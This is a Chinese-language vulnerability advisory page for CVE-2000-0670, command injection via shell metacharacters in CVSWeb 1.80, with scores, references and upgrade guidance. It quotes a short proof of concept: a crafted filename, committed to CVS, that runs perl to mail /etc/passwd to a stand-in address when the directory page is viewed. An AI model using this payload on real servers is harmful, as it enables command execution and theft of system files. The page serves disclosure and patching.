CVE-2000-0670
CVSS7.2
发布时间 :2000-07-12 00:00:00
修订时间 :2008-09-10 15:05:34
NMCOE    

[原文]The cvsweb CGI script in CVSWeb 1.80 allows remote attackers with write access to a CVS repository to execute arbitrary commands via shell metacharacters.


[CNNVD]CVSWeb不安全perl "open"漏洞(CNNVD-200007-033)

        CVSWeb 1.80版本中cvsweb CGI脚本存在漏洞。带有到CVS储存器的写访问的远程攻击者借助shell元字符来执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0670
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0670
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200007-033
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/4925.php
(VENDOR_ADVISORY)  XF  cvsweb-shell-access
http://archives.neohapsis.com/archives/bugtraq/2000-07/0196.html
(VENDOR_ADVISORY)  BUGTRAQ  20000714 MDKSA-2000:019 cvsweb update
http://www.turbolinux.com/pipermail/tl-security-announce/2000-August/000015.html
(UNKNOWN)  TURBO  TLSA2000016-1
http://www.securityfocus.com/bid/1469
(UNKNOWN)  BID  1469
http://archives.neohapsis.com/archives/bugtraq/2000-07/0178.html
(UNKNOWN)  BUGTRAQ  20000712 cvsweb: remote shell for cvs committers
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:37.cvsweb.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-00:37

- 漏洞信息

CVSWeb不安全perl "open"漏洞
高危 输入验证
2000-07-12 00:00:00 2005-05-02 00:00:00
远程※本地  
        CVSWeb 1.80版本中cvsweb CGI脚本存在漏洞。带有到CVS储存器的写访问的远程攻击者借助shell元字符来执行任意命令。

- 公告与补丁

        Upgrade to at least version 1.86 available from
        http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/
        Debian:
        Fixed in: Debian 2.1 (slink):
        Source:
        http://security.debian.org/dists/slink/updates/source/cvsweb_109.dsc
        http://security.debian.org/dists/slink/updates/source/cvsweb_109.tar.gz
        Architecture-independent binary:
        http://security.debian.org/dists/slink/updates/binary-all/cvsweb_109_all.deb
        Debian 2.2 (potato):
        Source:
        http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.diff.gz
        http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.dsc
        http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79.orig.tar.gz
        Architecture-independent binary:
        http://http.us.debian.org/debian/dists/potato/main/binary-all/devel/cvsweb_1.79-3potato1.deb
        CVSWeb Developer CVSWeb 1.80
        

- 漏洞信息 (20073)

CVSWeb Developer CVSWeb 1.80 insecure perl "open" Vulnerability (EDBID:20073)
unix local
2000-07-12 Verified
0 Joey Hess
N/A [点击下载]
source: http://www.securityfocus.com/bid/1469/info

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].		

- 漏洞信息

364
CVSWeb cvsweb.cgi Shell Metacharacter Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-07-14 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.86 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站